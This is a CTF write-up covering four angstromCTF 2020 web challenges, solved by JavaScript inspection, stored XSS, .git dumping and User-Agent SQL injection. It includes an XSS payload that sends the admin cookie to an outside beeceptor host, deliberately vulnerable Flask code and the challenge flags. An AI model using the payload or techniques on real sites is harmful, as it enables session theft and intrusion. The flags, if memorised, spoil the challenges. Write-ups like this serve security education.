angstromCTF 2020 - [Web] Multiple Challs

Written by Maltemo, member of team SinHack.

The Magic Word (20pts)

Description

Ask and you shall receive…that is as long as you use the magic word.

Author: aplet123

Analysis

The website is a blank page with two words in the middle :

First things first, lets inspect the source code of the page.

A javascript code is left on the bottom of the page :

var msg = document.getElementById("magic"); setInterval(function() { if (magic.innerText == "please give flag") { fetch("/flag?msg=" + encodeURIComponent(msg.innerText)) .then(res => res.text()) .then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``); } }, 1000);

This scripts checks every seconds (setInterval) if the tag with the ID magic has a text content matching please give flag.

:information_source: As shown in the line 3, you can reference a tag in the dom directly by it’s id. magic wasn’t declared before, but it accessed the tag with the id magic.

If it’s the case, it called the method fetch on the /flag end point with the message as a new parameter.

I was and still am too lazy to explain the last line, so let’s change the text to check what it does :

I replace the text by please give flag.

It replace this text by the flag, tadaaaa !

TL;DR

A javascript code in the page was giving back the flag if we changed a text in an HTML tag correctly.

Flag

The flag is actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}

Xmas Still Stands (50pts)

Description

You remember when I said I dropped clam’s tables? Well that was on Xmas day. And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody’s Xmas. Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?

Author: aplet123

Analysis

Have you seen it yet ? I let you re-read the title of the challenge with attention :smiling_face_with_smiling_eyes_and_hand_covering_mouth:

You saw it right, the titles abreviation is XSS, also known as a web vulnerability called Cross Site Scripting.

Another hint is hidden in the admin page of the website. Asking for cookie authentication means that we need to steal the administrator cookie.

The method of attack will be the same as the one in this write-up.

It’s called stored xss.

The payload is :

<img src=x onerror='window.location="https://swagy.free.beeceptor.com?cookie="+document.cookie'/>

Beeceptor is a platform that helps developer to test api.

Here, we will use it in another way. By requesting the api and putting the cookie in the URL, we will be able to retreive the cookie from evey people loading the message.

After creating the message, we get the id of the message and report it to the admin.

He will check the messages and the xss will pop on his side.

After waiting a little, we get from our beeceptor interface this call :
/?cookie=super_secret_admin_cookie=hello_yes_i_am_admin;%20admin_name=Jonah

We just stole the administrator :cookie: ! Yeaaah !

The final step consists in inserting the cookie we just stole in our browser :

name = super_secret_admin_cookie
value = hello_yes_i_am_admin; admin_name=Jonah

TL;DR

This challenge consisted in a basic XSS stored stealing the cookie of an admin.

Flag

The flag is actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}

Git Good (70pts)

Description

Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.

Author: aplet123

Analysis

The title gives a good hint : the .git file of the project might have been left accessible to the users.

:information_source: Little reminder : Git is a distributed version-control system for tracking changes in source code during software development. It is designed for coordinating work among programmers, but it can be used to track changes in any set of files.
Official documentation link

A good tool to extract the complete .git directory : GitDumper from the GitTools repository.

With this simple command, I get to extract the .git file from the remote webiste :

./GitTools/Dumper/gitdumper.sh https://gitgood.2020.chall.actf.co/.git/

After moving the .git file in a new empty directory (to avoid destruction of over files in the same directory), we can check all missing source files :

git status Sur la branche master Modifications qui ne seront pas validées : (utilisez "git add/rm <fichier>..." pour mettre à jour ce qui sera validé) (utilisez "git checkout -- <fichier>..." pour annuler les modifications dans la copie de travail) supprimé : index.html supprimé : index.js supprimé : package-lock.json supprimé : package.json supprimé : thisistheflag.txt aucune modification n'a été ajoutée à la validation (utilisez "git add" ou "git commit -a")

In order to restore those file, we can ask to get back to the initial state of the repository and then check the content of thisistheflag.txt :

git reset --hard cat thisistheflag.txt There used to be a flag here...

This message is giving us a GIGANTIC hint.
If the flag was in this file, then we have to verify the previous commits made on this project :

git log commit e975d678f209da09fff763cd297a6ed8dd77bb35 (HEAD -> master) Author: aplet123 <noneof@your.business> Date: Sat Mar 7 16:27:44 2020 +0000 Initial commit commit 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 Author: aplet123 <noneof@your.business> Date: Sat Mar 7 16:27:24 2020 +0000 haha I lied this is the actual initial commit

According to the git log, we are currently on the e975d678f209da09fff763cd297a6ed8dd77bb35 commit.

Lets go back in time to get the file in its initial state with the commit hash 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5.

git checkout 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 cat thisistheflag.txt actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

Challenge solved !

TL;DR

The challenge consisted in the extraction of a .git file and checking out on a previous commit to get the flag.

Flag

The flag is actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}.

Secret Agents (110pts)

Description

Can you enter the secret agent portal? I’ve heard someone has a flag :eyes:

Our insider leaked the source, but was “terminated” shortly thereafter…

Author: JoshDaBosh

File

app.py

from flask import Flask, render_template, request #from flask_limiter import Limiter #from flask_limiter.util import get_remote_address from .secret import host, user, passwd, dbname import mysql.connector dbconfig = { "host":host, "user":user, "passwd":passwd, "database":dbname } app = Flask(__name__) """ limiter = Limiter( app, key_func=get_remote_address, default_limits=["1 per second"], )""" #@limiter.exempt @app.route("/") def index(): return render_template("index.html") @app.route("/login") def login(): u = request.headers.get("User-Agent") conn = mysql.connector.connect( **dbconfig ) cursor = conn.cursor() #cursor.execute("SET GLOBAL connect_timeout=1") #cursor.execute("SET GLOVAL wait_timeout=1") #cursor.execute("SET GLOBAL interactive_timeout=1") for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True): if r.with_rows: res = r.fetchall() break cursor.close() conn.close() if len(res) == 0: return render_template("login.html", msg="stop! you're not allowed in here >:)") if len(res) > 1: return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)") return render_template("login.html", msg="Welcome, %s"%(res[0][0])) if __name__ == '__main__': app.run('0.0.0.0')

Analysis

After quickly reading the code, we can see that the login is using the User-Agent header from the HTTP requests :

@app.route("/login") def login(): u = request.headers.get("User-Agent")

Then, we can see that a SQL request is made from this value, without any sanitization :

for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True): if r.with_rows: res = r.fetchall() break

Finaly, the login is blocked if the result of the query has no results or more than 1 result.

if len(res) == 0: return render_template("login.html", msg="stop! you're not allowed in here >:)") if len(res) > 1: return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)") return render_template("login.html", msg="Welcome, %s"%(res[0][0]))

Let’s make a simple SQL injection within the User-Agent header.

And here we get the flag :

TL;DR

The challenge consisted in a sql injection through the UserAgent header of the HTTP request.

Flag

The flag is actf{nyoom_1_4m_sp33d}.


Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.